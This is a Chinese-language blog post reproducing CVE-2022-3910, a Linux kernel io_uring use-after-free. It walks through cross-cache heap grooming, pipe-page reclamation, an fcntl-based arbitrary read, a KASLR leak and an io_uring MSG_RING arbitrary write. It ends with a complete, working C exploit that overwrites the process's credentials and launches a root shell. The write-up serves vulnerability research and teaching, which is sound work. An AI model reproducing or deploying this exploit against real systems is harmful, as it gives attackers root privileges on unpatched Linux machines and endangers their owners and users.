序
复现环境及exp源码:CVE-2022-3910
cross-cache的目的其实就是绕过内核堆的隔离机制,将uaf的堆块所在的内存页(page
)释放并通过其他方式申请访问该内存页。这里简单介绍一下具体流程:
1.先查看基本信息
// cat /sys/kernel/slab/filp/cpu_partial
#define CPU_PARTIAL 52
// cat /sys/kernel/slab/filp/objs_per_slab
#define OBJS_PER_SLAB 16
2.申请(cpu_partial + 1) * objs_per_slab
个object
填满前cpu_partial + 1
slab
3.申请objs_per_slab - 1
个object
保证第cpu_partial + 2
个slab填满并且第cpu_partial + 3
个slab不满
4.申请一个漏洞object,后续用来UAF
5.申请objs_per_slab + 1
个object
保证第cpu_partial + 4
个slab填满并且存在第cpu_partial + 5
个slab
6.触发漏洞object的UAF
7.将漏洞object前后各objs_per_slab
个object释放
让第cpu_partial + 3
个slab进入全空状态,触发put_cpu_partial()
8.将前cpu_partial + 1
个slab中各释放一个object
让前cpu_partial + 1
个slab从全满状态进入半满状态,这将对每个page触发一次put_cpu_partial()
。由于cpu_partial + 1 > cpu_partial
,因此这必将导致最后几次在进入put_cpu_partial()
时发现cpu partial list
满了,从而进入unfreeze_partials()
逻辑。然后发现第cpu_partial + 3
个slab已经进入了全空状态,从而调用discard_slab()
将这个page进行释放。
此时我们已经掌握了一个包含在一个free掉的内存页中的file结构体,这里我们选择利用pipe,他会在第一次向管道中写入时直接分配一个内存页来进行读写缓存的,调用链如下:
pipe_write -> copy_page_from_iter -> copy_page_from_iter_iovec -> kmap
此时他就会分配到我们设计好的uaf-page上,我们通过对管道进行读写就能实现对结构体的随意伪造了
接着我们就要考虑如何实现任意地址读写了。
在执行fcntl
static long fcntl_rw_hint(struct file *file, unsigned int cmd,
unsigned long arg)
{
struct inode *inode = file_inode(file);
u64 __user *argp = (u64 __user *)arg;
enum rw_hint hint;
u64 h;
switch (cmd) {
case F_GET_RW_HINT:
h = inode->i_write_hint;
if (copy_to_user(argp, &h, sizeof(*argp)))
return -EFAULT;
return 0;
case F_SET_RW_HINT:
if (copy_from_user(&h, argp, sizeof(h)))
return -EFAULT;
hint = (enum rw_hint) h;
if (!rw_hint_valid(hint))
return -EINVAL;
inode_lock(inode);
inode->i_write_hint = hint;
inode_unlock(inode);
return 0;
default:
return -EINVAL;
}
}
直接看汇编代码会更加明显:
pwndbg> disass get_cpu_entry_area
Dump of assembler code for function get_cpu_entry_area:
0xffffffff81e942f0 <+0>: movabs rdx,0xfffffe0000001000
0xffffffff81e942fa <+10>: movsxd rax,edi
0xffffffff81e942fd <+13>: imul rax,rax,0x3b000
0xffffffff81e94304 <+20>: add rax,rdx
0xffffffff81e94307 <+23>: xor edx,edx
0xffffffff81e94309 <+25>: xor edi,edi
0xffffffff81e9430b <+27>: ret
0xffffffff81e9430c <+28>: int3
0xffffffff81e9430d <+29>: int3
0xffffffff81e9430e <+30>: int3
0xffffffff81e9430f <+31>: int3
End of assembler dump.
0xfffffe0000001000
pwndbg>
48:0240│ 0xfffffe0000002f40 ◂— 0x0
49:0248│ 0xfffffe0000002f48 —▸ 0xffffffff82001522 (error_entry+146) ◂— ret
4a:0250│ 0xfffffe0000002f50 —▸ 0xffffffff82000b59 (asm_exc_page_fault+9) ◂— mov rsp, rax
4b:0258│ 0xfffffe0000002f58 ◂— 0x1
4c:0260│ 0xfffffe0000002f60 —▸ 0x4c87d0 —▸ 0x401710 ◂— endbr64
error_entry
地址通过偏移来计算kernel的基地址,这样就能绕过kaslr
保护了
任意地址写
任意地址写我本来想采用和任意地址读一样的方式,只需要修改cmd为F_SET_RW_HINT
static bool rw_hint_valid(enum rw_hint hint)
{
switch (hint) {
case RWH_WRITE_LIFE_NOT_SET:
case RWH_WRITE_LIFE_NONE:
case RWH_WRITE_LIFE_SHORT:
case RWH_WRITE_LIFE_MEDIUM:
case RWH_WRITE_LIFE_LONG:
case RWH_WRITE_LIFE_EXTREME:
return true;
default:
return false;
}
}
static inline void inode_lock(struct inode *inode)
{
down_write(&inode->i_rwsem);
}
第一个限制了写入的值必须是0~5中的一个值,第二个则需要满足伪造的结构体在固定偏移处有一个可写的指针,显然是我们无法满足的,因此回来看作者找到的任意写的方法:
static int io_msg_ring(struct io_kiocb *req, unsigned int issue_flags)
{
struct io_ring_ctx *target_ctx;
struct io_msg *msg = &req->msg;
bool filled;
int ret;
ret = -EBADFD;
if (req->file->f_op != &io_uring_fops)
goto done;
ret = -EOVERFLOW;
target_ctx = req->file->private_data;
spin_lock(&target_ctx->completion_lock);
filled = io_fill_cqe_aux(target_ctx, msg->user_data, msg->len, 0);
io_commit_cqring(target_ctx);
spin_unlock(&target_ctx->completion_lock);
if (filled) {
io_cqring_ev_posted(target_ctx);
ret = 0;
}
done:
if (ret < 0)
req_set_fail(req);
__io_req_complete(req, issue_flags, ret, 0);
/* put file to avoid an attempt to IOPOLL the req */
io_put_file(req->file);
req->file = NULL;
return 0;
}
private_data
这个指针解析成io_ring_ctx
结构体指针,并在后续马上进行写的操作。
首先是函数io_fill_cqe_aux
static noinline bool io_fill_cqe_aux(struct io_ring_ctx *ctx, u64 user_data,
s32 res, u32 cflags)
{
struct io_uring_cqe *cqe;
ctx->cq_extra++;
trace_io_uring_complete(ctx, NULL, user_data, res, cflags, 0, 0);
/*
* If we can't get a cq entry, userspace overflowed the
* submission (by quite a lot). Increment the overflow count in
* the ring.
*/
cqe = io_get_cqe(ctx);
if (likely(cqe)) {
WRITE_ONCE(cqe->user_data, user_data);
WRITE_ONCE(cqe->res, res);
WRITE_ONCE(cqe->flags, cflags);
if (ctx->flags & IORING_SETUP_CQE32) {
WRITE_ONCE(cqe->big_cqe[0], 0);
WRITE_ONCE(cqe->big_cqe[1], 0);
}
return true;
}
return io_cqring_event_overflow(ctx, user_data, res, cflags, 0, 0);
}
io_commit_cqring
static inline void io_commit_cqring(struct io_ring_ctx *ctx)
{
/* order cqe stores with ring update */
smp_store_release(&ctx->rings->cq.tail, ctx->cached_cq_tail);
}
io_ring_ctx
结构并将cached_cq_tail
改成我们希望写入的值将rings
改成我们希望修改的地址减去cq.tail
的偏移就能实现任意写了。
[ 7.481177] <TASK>
[ 7.481177] __wake_up_common+0x7d/0x150
[ 7.481177] __wake_up_common_lock+0x7c/0xd0
[ 7.481177] __wake_up+0x13/0x30
[ 7.481177] io_issue_sqe+0x21c9/0x2ad0
我们调试跟踪发现是在这个调用链下触发的:
io_issue_sqe -> io_msg_ring -> io_cqring_ev_posted -> io_cqring_wake -> wake_up_all -> __wake_up
io_cqring_wake
static inline void io_cqring_wake(struct io_ring_ctx *ctx)
{
/*
* wake_up_all() may seem excessive, but io_wake_function() and
* io_should_wake() handle the termination of the loop and only
* wake as many waiters as we need to.
*/
if (wq_has_sleeper(&ctx->cq_wait))
wake_up_all(&ctx->cq_wait);
}
wake_up_all
函数了,因此我们查看wq_has_sleeper
static inline bool wq_has_sleeper(struct wait_queue_head *wq_head)
{
/*
* We need to be sure we are in sync with the
* add_wait_queue modifications to the wait queue.
*
* This memory barrier should be paired with one on the
* waiting side.
*/
smp_mb();
return waitqueue_active(wq_head);
}
继续跟进:
static inline int waitqueue_active(struct wait_queue_head *wq_head)
{
return !list_empty(&wq_head->head);
}
static inline int list_empty(const struct list_head *head)
{
return READ_ONCE(head->next) == head;
}
ctx->cq_wait
结构指向的就是他本身即可。
如何提权
现在我们已经掌握了在内核中任意读写的能力,我们应该如果提升权限呢?这里原文作者选择了将自身进程的task_struct
结构体的real_cred
, cred
, and nsproxy
替换为了init
struct task_struct {
...
struct list_head tasks; /* 2256 16 */
...
/* --- cacheline 45 boundary (2880 bytes) was 48 bytes ago --- */
const struct cred * ptracer_cred; /* 2928 8 */
const struct cred * real_cred; /* 2936 8 */
/* --- cacheline 46 boundary (2944 bytes) --- */
const struct cred * cred; /* 2944 8 */
struct key * cached_requested_key; /* 2952 8 */
char comm[16]; /* 2960 16 */
struct nameidata * nameidata; /* 2976 8 */
struct sysv_sem sysvsem; /* 2984 8 */
struct sysv_shm sysvshm; /* 2992 16 */
/* --- cacheline 47 boundary (3008 bytes) --- */
long unsigned int last_switch_count; /* 3008 8 */
long unsigned int last_switch_time; /* 3016 8 */
struct fs_struct * fs; /* 3024 8 */
struct files_struct * files; /* 3032 8 */
struct io_uring_task * io_uring; /* 3040 8 */
struct nsproxy * nsproxy; /* 3048 8 */
struct signal_struct * signal; /* 3056 8 */
struct sighand_struct * sighand; /* 3064 8 */
...
/* size: 9792, cachelines: 153, members: 260 */
/* sum members: 9642, holes: 20, sum holes: 134 */
/* sum bitfield members: 81 bits, bit holes: 2, sum bit holes: 47 bits */
/* paddings: 6, sum paddings: 49 */
/* forced alignments: 2, forced holes: 2, sum forced holes: 64 */
};
task_struct
的“名字”,这个结构可通过prctl
函数中的PR_SET_NAME
功能,设置为一个固定的字符串作为标记,而list_head
结构体tasks
存放了指向下一个task_struct
结构体的list_head
结构的指针,因此我们只需要递归读取就能找到被我们标记的当前进程的控制块,同时在这里还有一个files_struct
结构体用来存放当前进程打开的文件,可以通过读取这个结构找到uaf的文件结构体地址,相当于我们已经完全掌握了pipe分配的内存页的地址,这样我们可以利用在这个页面上任意写的功能在上面完整的伪造一个io_uring_ctx
结构体,至此我们已经完全理清了如何将一个文件的uaf转换为任意读写并覆写权限结构体实现提权的全部流程。
完整exp
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <liburing.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <syscall.h>
#include <linux/kcmp.h>
#include <sys/resource.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <pthread.h>
const char *colorGreen = "\033[1;32m";
const char *colorRed = "\033[1;31m";
const char *colorReset = "\033[0m";
char debugchar[0x500];
void myDbgputs(char *message)
{
printf("[%s+%s] %s\n", colorGreen, colorReset, message);
}
void myErrputs(char *message, int ifexit)
{
printf("[%sx%s] %s\n", colorRed, colorReset, message);
if (ifexit)
exit(-1);
}
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
myDbgputs("Bind to cpu 0");
}
void increase_fds(void)
{
struct rlimit old_lim, lim;
if (getrlimit(RLIMIT_NOFILE, &old_lim) != 0)
{
myErrputs("`getrlimit()` failed", 1);
}
lim.rlim_cur = old_lim.rlim_max;
lim.rlim_max = old_lim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &lim) != 0)
{
myErrputs("`setrlimit()` failed", 1);
}
sprintf(debugchar, "Increased fd limit from %d to %d", old_lim.rlim_cur, lim.rlim_cur);
myDbgputs(debugchar);
return;
}
struct fd_pair
{
int fd[2];
};
struct fd_pair tpipe = {0};
#define PIPE_WRITE 1
#define PIPE_READ 0
void create_pipe()
{
if (pipe(tpipe.fd) == -1)
{
myErrputs("`pipe() failed`", 1);
}
myDbgputs("Creat the pipe");
}
void release_pipe(void)
{
close(tpipe.fd[PIPE_WRITE]);
close(tpipe.fd[PIPE_READ]);
}
#define MYNAME "tr17ish"
void changename()
{
if (prctl(PR_SET_NAME, MYNAME, NULL, NULL, NULL) != 0)
{
myErrputs("`prctl()` failed", 1);
}
myDbgputs("Reset the name to `tr17fish`");
}
// cat /sys/kernel/slab/filp/cpu_partial
#define CPU_PARTIAL 52
// cat /sys/kernel/slab/filp/objs_per_slab
#define OBJS_PER_SLAB 16
#define IORING_OP_MSG_RING 40
int cc1_fds[4096];
int cc_1_num;
int cc2_fds[4096];
int cc_2_num;
int cc3_fds[4096];
int cc_3_num;
int uaf_fd;
struct io_uring ring;
struct io_uring_sqe *sqe;
void do_uaf()
{
io_uring_queue_init(64, &ring, 0);
io_uring_register_files(&ring, &uaf_fd, 1);
for (int i = 0; i < 2; i++)
{
sqe = io_uring_get_sqe(&ring);
sqe->flags = IOSQE_FIXED_FILE;
sqe->opcode = IORING_OP_MSG_RING;
sqe->fd = 0;
io_uring_submit(&ring);
}
io_uring_submit(&ring);
sleep(1);
myDbgputs("Finish UAF");
}
void cross_cache()
{
// step1;
sprintf(debugchar, "Cross-cache step1: open ((%d + 1) * %d) files", CPU_PARTIAL, OBJS_PER_SLAB);
myDbgputs(debugchar);
cc_1_num = (CPU_PARTIAL + 1) * OBJS_PER_SLAB;
for (int i = 0; i < cc_1_num; i++)
{
cc1_fds[i] = open("/etc/passwd", O_RDONLY);
}
sleep(0.1);
// step2
sprintf(debugchar, "Cross-cache step2: (%d - 1) files", OBJS_PER_SLAB);
myDbgputs(debugchar);
cc_2_num = OBJS_PER_SLAB - 1;
for (int i = 0; i < cc_2_num; i++)
{
cc2_fds[i] = open("/etc/passwd", O_RDONLY);
}
sleep(0.1);
// step3
myDbgputs("Cross-cache step3: open uaf-files");
uaf_fd = open("/etc/passwd", O_RDONLY);
// //step5
// myDbgputs("Cross-cache step5: free uaf-files");
// do_uaf();
// step4
sprintf(debugchar, "Cross-cache step4: open (%d + 1) files", OBJS_PER_SLAB);
myDbgputs(debugchar);
cc_3_num = OBJS_PER_SLAB + 1;
for (int i = 0; i < cc_3_num; i++)
{
cc3_fds[i] = open("/etc/passwd", O_RDONLY);
}
sleep(0.1);
// step5
myDbgputs("Cross-cache step5: free uaf-files");
do_uaf();
// step6
myDbgputs("Cross-cache step6: close step2 and step3 files");
for (int i = 0; i < cc_2_num; i++)
{
close(cc2_fds[i]);
}
for (int i = 0; i < cc_3_num; i++)
{
close(cc3_fds[i]);
}
sleep(0.1);
// step7
myDbgputs("Cross-cache step7: close the first file in step1 pages");
for (int i = 0; i < cc_1_num; i++)
{
if (i % OBJS_PER_SLAB == 0)
{
close(cc1_fds[i]);
}
}
sleep(1);
}
void cc_reset()
{
myDbgputs("Resetting cross-cache state...");
for (size_t i = 0; i < 0x1000; i++)
{
close(cc1_fds[i]);
close(cc2_fds[i]);
close(cc3_fds[i]);
}
cc_1_num = 0;
cc_2_num = 0;
cc_3_num = 0;
close(uaf_fd);
uaf_fd = -1;
release_pipe();
create_pipe();
sleep(1);
}
void setup_env(void)
{
// bind to cpu 0
bind_cpu(0);
// Increase FD limit
increase_fds();
// Reset the name
changename();
// Create pipe
create_pipe();
}
#define I_WRITE_HINT_OFFSET 0X8f
uint64_t read_inode(uint64_t addr)
{
char buf[0x1000];
uint64_t target = addr - I_WRITE_HINT_OFFSET;
uint64_t leak_addr = 0;
for (int i = 0; i < 8; i++)
{
read(tpipe.fd[PIPE_READ], buf, 0x1000);
memset(buf, 0, 0x1000);
for (int j = 0; j < 16; j++)
{
*(uint64_t *)&buf[0x20 + j * 0x100] = target + i;
}
write(tpipe.fd[PIPE_WRITE], buf, 0x1000);
uint64_t arg = 0;
if (fcntl(uaf_fd, F_GET_RW_HINT, &arg) == -1)
{
myErrputs("`fcntl()` failed", 1);
};
leak_addr |= (arg << (i * 8));
}
return leak_addr;
}
#define ENTER_ERROR 0xfffffe0000002f48
#define BASE_OFFSET 0x1001490
#define INIT_OFFSET 0x1a1b580
#define TASK_NEXT_OFFSET 0x8b8
#define COMM_OFFSET 0xb98
#define CRED_OFFSET 0xb88
#define FILES_OFFSET 0Xbe0
#define FDT_OFFSET 0x20
#define FD_OFFSET 0x8
#define PRIVATE_DATA_OFFSET 0xc8
#define FD_OFFSET 0x8
uint64_t init_task_addr, my_task_addr, cred_addr;
uint64_t my_files_list, uaf_file_addr, pipe_addr;
uint64_t pipe_offset, fake_private_data_addr;
void find_myprocess()
{
uint64_t next_cred = read_inode(init_task_addr + TASK_NEXT_OFFSET) - TASK_NEXT_OFFSET;
uint64_t comm_now = read_inode(init_task_addr + COMM_OFFSET);
uint64_t now_cred = init_task_addr;
while (next_cred)
{
if (!strncmp(MYNAME, (char *)&comm_now, 7))
{
my_task_addr = now_cred;
cred_addr = read_inode(my_task_addr + CRED_OFFSET);
break;
}
else
{
now_cred = next_cred;
next_cred = read_inode(now_cred + TASK_NEXT_OFFSET) - TASK_NEXT_OFFSET;
comm_now = read_inode(now_cred + COMM_OFFSET);
}
}
}
void find_pipe_addr()
{
uint64_t first_file_addr = read_inode(my_files_list);
uaf_file_addr = read_inode(first_file_addr + uaf_fd * 8);
pipe_offset = uaf_file_addr & 0xfff;
pipe_addr = (uaf_file_addr >> 12) << 12;
if(pipe_offset < 0x700)
{
fake_private_data_addr = pipe_addr + 0x800;
}else{
fake_private_data_addr = pipe_addr;
}
}
unsigned char ring_copy_mem[256] = { 0 };
unsigned char private_copy_mem[0x4c0] = { 0 };
void copy_from_ring()
{
uint64_t files_ptr = read_inode(my_files_list);
// Adjust the files_ptr to point to our ring fd in the array
files_ptr += (8 * ring.ring_fd);
// Get the address of our UAF file struct
uint64_t curr_file = read_inode(files_ptr);
uint64_t curr_private = read_inode(curr_file + PRIVATE_DATA_OFFSET);
// Copy all the data into the buffer
for (size_t i = 0; i < 32; i++)
{
uint64_t *val_ptr = (uint64_t *)&ring_copy_mem[i * 8];
*val_ptr = read_inode(curr_file + (i * 8));
}
for (size_t i = 0; i < 152; i++)
{
uint64_t *val_ptr = (uint64_t *)&private_copy_mem[i * 8];
*val_ptr = read_inode(curr_private + (i * 8));
}
sprintf(debugchar, "copy 0x100 byte data from 0x%lx", curr_file);
myDbgputs(debugchar);
}
void set_fake_private_data(uint64_t addr, uint64_t value)
{
char buf[0x1000];
read(tpipe.fd[PIPE_READ], buf, 0x1000);
memcpy(&buf[pipe_offset], ring_copy_mem, 0x100);
uint64_t *private_data = (uint64_t *)&buf[pipe_offset + PRIVATE_DATA_OFFSET];
*private_data = fake_private_data_addr;
memcpy(&buf[fake_private_data_addr & 0xfff], private_copy_mem, 0x4c0);
// // Set ctx->rings so that ctx->rings->cq.tail is written to. That is at
// // offset 0xc0 from cq base address
size_t rings = (fake_private_data_addr + 0x10) & 0xfff;
uint64_t *rings_ptr = (uint64_t *)&buf[rings];
*rings_ptr = addr - 0xc0;
// Set ctx->cached_cq_tail which is our what
size_t cq_tail = (fake_private_data_addr + 0x250) & 0xfff;
uint32_t *cq_tail_ptr = (uint32_t *)&buf[cq_tail];
*cq_tail_ptr = (value - 1);
// Set ctx->cq_wait the list head to itself (so that it's "empty")
size_t real_cq_wait = fake_private_data_addr + 0x268;
size_t cq_wait = (real_cq_wait & 0xFFF);
uint64_t *cq_wait_ptr = (uint64_t *)&buf[cq_wait];
*cq_wait_ptr = real_cq_wait;
write(tpipe.fd[PIPE_WRITE], buf, 0x1000);
struct io_uring_sqe *sqe = NULL;
sqe = io_uring_get_sqe(&ring);
sqe->opcode = IORING_OP_MSG_RING;
sqe->fd = uaf_fd;
io_uring_submit(&ring);
}
int main()
{
myDbgputs("Begin!");
setup_env();
unsigned char buf[0x1000];
memset(buf, 'A', 0x1000);
while (true)
{
myDbgputs("Attempting cross-cache...");
cross_cache();
write(tpipe.fd[PIPE_WRITE], buf, 0x1000);
if (lseek(uaf_fd, 0, SEEK_SET) != -1)
{
myErrputs("Cross-cache failed, retrying...", 0);
cc_reset();
}
else
{
myDbgputs("Cross-cache succeeded");
break;
}
}
uint64_t enter_error_addr = read_inode(ENTER_ERROR) - 146;
sprintf(debugchar, "enter_error_addr @ 0x%llx", enter_error_addr);
myDbgputs(debugchar);
uint64_t kernel_base_addr = enter_error_addr - BASE_OFFSET;
sprintf(debugchar, "kernel_base_addr @ 0x%llx", kernel_base_addr);
myDbgputs(debugchar);
init_task_addr = kernel_base_addr + INIT_OFFSET;
sprintf(debugchar, "init_task_addr @ 0x%llx", init_task_addr);
myDbgputs(debugchar);
find_myprocess();
sprintf(debugchar, "'%s' task @ 0x%lx", MYNAME, my_task_addr);
myDbgputs(debugchar);
sprintf(debugchar, "cred_addr @ 0x%llx", cred_addr);
myDbgputs(debugchar);
my_files_list = read_inode(
read_inode(my_task_addr + FILES_OFFSET) + FDT_OFFSET) + FD_OFFSET;
sprintf(debugchar, "my_files_list @ 0x%lx", my_task_addr);
myDbgputs(debugchar);
find_pipe_addr();
sprintf(debugchar, "uaf_file_addr @ 0x%lx", uaf_file_addr);
myDbgputs(debugchar);
sprintf(debugchar, "pipe_addr @ 0x%lx", pipe_addr);
myDbgputs(debugchar);
copy_from_ring();
for(int i = 1; i < 11; i++)
{
set_fake_private_data((cred_addr + 4 * i), 0);
}
if(getuid() == 0)
{
sprintf(debugchar, "Uid: %d, hacked by T1d!", getuid());
myDbgputs(debugchar);
system("/bin/sh");
}else{
sprintf(debugchar, "Uid : %d , you are not root!\n", getuid());
myErrputs(debugchar, 1);
}
}
效果:
在编写exp时,笔者发现如果将system("/bin/sh")
换成execve("/bin/sh", 0, 0)
会出现uid为0但报错: applet not found
后续 >
笔者发现换成下面的代码就行正常执行了:
char *argv[] = {"/bin/sh", "-c", "/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
非特殊说明,本博所有文章均为博主原创。
如若转载,请注明出处:https://he.tld1027.com/2024/07/17/cve-2022-3910%e5%a4%8d%e7%8e%b0%ef%bc%88%e4%ba%8c%ef%bc%89/
共有 0 条评论